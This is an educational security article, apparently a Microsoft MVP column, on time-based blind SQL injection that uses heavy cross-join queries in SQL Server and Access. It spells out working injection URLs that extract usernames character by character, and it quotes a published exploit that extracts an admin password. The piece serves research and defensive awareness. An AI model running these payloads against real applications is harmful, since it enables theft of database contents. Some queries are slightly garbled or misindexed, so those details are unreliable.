Time-Based Blind SQL Injection with Heavy Queries

By Chema Alonso, Microsoft Security MVP

See other Security MVP Article of the Month columns.

Introduction

This article describes how attackers take advantage of SQL Injection vulnerabilities by using time-based blind SQL injection with heavy queries. Our goal is to highlight the need for establishing secure development best practices for Web applications instead of relying only on the security provided by the perimeter defenses. This article shows exploit examples for Microsoft SQL Server and Microsoft Access database engines, but the present technique is applicable to any other database product in the market.

Time-Based Blind SQL Injection

The first references to “blind attacks” can be found in Chris Anley’s June 2002 paper “(More) Advanced SQL Injection” [1], in which he calls attention to the possibility of creating such attacks -- in this specific case, time-based, one of the less common. Chris gives some examples of blind SQL injection techniques:

<<•••••• if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'
…it is possible to determine whether a given bit in a string is '1' or ’0’.That is, the above query will pause for five seconds if bit '@bit' of byte '@byte' in string '@s' is '1.'

For example, the following query:
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
will pause for five seconds if the first bit of the first byte of the name of the current database is 1.

As these examples show, the information is extracted from the database using a vulnerable parameter. Code is then injected to generate a delay in response time when the condition is true.

After this first reference, blind SQL injection techniques continued to be studied with most techniques generating error messages from the attack system, because of the simplicity, quick execution, and extension of showing an error message versus delaying the database. One year later, in September 2003, Ofer Maor and Amichai Shulman published the paper “Blindfolded SQL Injection” [2]. Here, they analyze different ways to identify a vulnerable parameter on a SQL Injection system, even when the information processed and returned by the system is not visible.

At the 2004 BlackHat Conference, Cameron Hotchkies presented his paper “Blind SQL Injection Automation Techniques” [3]. He proposed alternative methods to automate the exploitation of a Blind SQL Injection vulnerable parameter, using different custom tools. He suggested three different solutions for the automation: (1) Searching for keywords on positive and negative results; (2) Using MD5 signatures to discriminate positive and negative results; (3) Using textual difference engine. He also introduced SQueal, an automatic tool to extract information through Blind SQL Injection, which evolved later to another tool called Absinthe [4].

In September 2005, David Litchfield published the article “Data Mining with SQL Injection and Inference” [5], where he discussed the time-based inference techniques, and proposed other ways to obtain time delays using calls to stored procedures, such as xp_cmdshell on MS SQL Server to do a ping.

xp_cmdshell ‘ping –n 10 127.0.0.1’ → application paused 10 seconds.

Time-based techniques can be extended to any action performed by a stored procedure and able to generate a time delay or any other measurable action.

In December 2006, Ronald van den Heetkamp published the “SQL Injection Cheat Sheet” [6], including Blind SQL Injection tricks for MySQL with some examples based on benchmark functions that can generate time delays. For instance:

SELECT BENCHMARK(10000000,ENCODE('abc','123')); [around 5 sec]
SELECT BENCHMARK(1000000,MD5(CHAR(116))) [ around 7 sec]
Example: SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login

A recent exploit [7], published in June 2007 at https://www.milw0rm.com (a Web site dedicated to exploits and security) shows how this technique could be used to attack a game server called Solar Empire:

¡$sql="F***You'),(1,2,3,4,5,(SELECT IF (ASCII (SUBSTRING(se_games.admin_pw, ".$j.", 1)) =".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*";

As the studies of the time-based Blind SQL Injection techniques are moving forward, some new tools have been created, such as SQL Ninja [8], which uses the Wait-for method for Microsoft SQL Server engines, or SQL PowerInjector[9], which implements the Wait-for method for Microsoft SQL Server Database engines, Benchmark functions for MySQL engines, and an extension of the Wait-for method for Oracle engines, using calls to DBMS_LOCK methods.

Time Delays

Taking into consideration the methods described above, we can see that having access to stored procedures for Microsoft SQL Server and Oracle is needed to be able to generate time delays using calls to Wait-for methods and DBMS_LOCK. However, this is not necessary on MySQL engines, because in this case a mathematic function is used to generate the time delay. Some Intrusion Detection Systems (IDS) and Firewalls applications have the ability to block the URLs that use Benchmark functions.

The question now is, if the use of stored procedures and Benchmark functions is cancelled, could we generate a time-based blind SQL injection method?

The answer is yes. Blind SQL injection exploits can only be avoided by using the right programming technique, or, in Michael Howard’s words, “All input is evil until proven otherwise.

A simple way to generate time delays is to take advantage of one of the biggest database problems, that have made necessary the development of performance-tuning techniques; heavy queries. All you need to generate a time delay is to access a table that has some registers and to build a good query to force the engine to work. In other words, we need to build a query ignoring what the performance best practices recommend.

In this example we have a URL with a SQL Injection vulnerability that can be exploited only by a time-based blind SQL injection. This means that there isn’t any error message produced by the system, and we always obtain the same response (sometimes because a query is right and sometimes because the programmer has coded that value as a default).

Figure 1

Figure 1: Error condition. The programmer returns a default value -> Result 1

Example 1: Microsoft SQL Server. Exploitation with Heavy queries:

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)

Figure 2

Figure 2: Positive result. The condition is true, and the response has a delay of 14 seconds.

As we can see in Figure 2, the query starts at 23:49:11 and ends at 23:49:25 -- 14 seconds. This delay is caused by the third condition in the “where” clause; if it is TRUE, then “300>(select top 1 ascii(substring(name,1,1)) from sysusers)” is TRUE. We actually know that the ASCII value of the first username’s letter in the sysusers table is lower than 300.

Figure 3

Figure 3: Negative Result. One-second response delay

As we can see in Figure 3, the query starts at 00:00:28 and ends at 00:00:29 -- one second. This delay is caused by the third condition in the “where” clause; if it is FALSE, then “0>(select top 1 ascii(substring(name,1,1)) from sysusers)” is FALSE. We actually know than the ASCII value of the first username’s letter in the sysusers table is higher than 0.

With these two queries we can access all the information stored in the database measuring the time. The main idea is that when the third condition in the query is FALSE, the database engine stops processing the second condition because with one FALSE value in a query with “and” operators, the result will be FALSE. Therefore, the database engine doesn’t have to process the heavy query (second condition). So, if we want to know the exact value of the username stored, we have to move the index and measure the response time:

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 14 seconds → TRUE

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 0 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 150 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 14 seconds → TRUE

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 75 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 100 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 110 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 120 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 14 seconds → TRUE

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 115 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 118 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 119 >(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE

Then the result is ASCII(119)=’ w

And then we start with the second letter:

https://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 150 >(select top 1 ascii(substring(name,1,1)) from sysusers) → ?

Example 2: Microsoft Access. Using the MSysAccessObjects table.

https://www.informatica64.com/retohacking/pista.aspx?id\_pista=1 and (SELECT count(*) FROM MSysAccessObjects A 20T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0 and exists (select * from contrasena)

Figure 4

Figure 4: Negative Result. One-second response delay.

Figure 5

Figure 5: Positive Result. Six-second response delay.

In this example you see a heavy query for Microsoft Access databases with a delay of six seconds. An attacker can extract all information using the same method shown in the Microsoft SQL Server example and using this heavy query as a second condition in the “where" clause to delay the response.

Conclusions

Taking into consideration the methods described above, we can see that having access to stored procedures for Microsoft SQL Server and Oracle is needed to be able to generate time delays using calls to Wait-for methods and DBMS_LOCK. However, this is not necessary on MySQL engines, because in this case a mathematic function is used to generate the time delay. Some Intrusion Detection Systems (IDS) and Firewall applications have the ability to block the URLs that use Benchmark functions.

Authors

The information presented here is extracted from the PhD thesis Chema Alonso (Microsoft Windows Security MVP, Systems Engineer, Rey Juan Carlos University) is currently working on under the direction of Dr. Antonio Guzmán (Systems Engineering Doctor, Rey Juan Carlos University) and Dr. Marta Beltran (Systems Engineering Doctor, Rey Juan Carlos University).

Mr. Daniel Kachakil (Systems Engineer and Master on Software Engineering, University Politécnica of Valencia) and Mr. Rodolfo Bordón (System Security Consultant and Software Specialist Technician) have also helped produce also contributed to this article by assisting with response time tests in different environments.

Bibliography

[1] “(more) Advanced SQL Injection” by Chris Anley, NGS Software
URL: https://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
[2] “Blindfolded SQL Injection” by Ofer Maor and Amichai Shulman, Imperva
URL: https://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
[3] “Blind SQL Injection Automation Techniques” by Cameron Hotchkies, BlackHat Conferences
URL: https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf
[4] “Absinthe” by Cameron Hotchkies, 0x90.
URL: https://www.0x90.org/releases/absinthe/download.php
[5] “Data Mining with SQL Injection and Inference” by David Litchfield, NGS Software
URL: https://www.ngssoftware.com/research/papers/sqlinference.pdf
[6] “SQL Injection Cheat Sheet” by Ronald van den Heetkamp, 0x000000
URL: https://www.0x000000.com/?i=14&bin=1110
[7] “ Solar Empire Exploit” by Blackhawk. Milw0rm.
URL: https://www.milw0rm.com/exploits/4078
[8] “…a SQL Server Injection & takeover tool… ” by icesurfer, SQLNinja
URL: https://sqlninja.sourceforge.net
[9] “SQL PowerInjector” by Francois Larouche, SQL PowerInjector
URL: https://www.sqlpowerinjector.com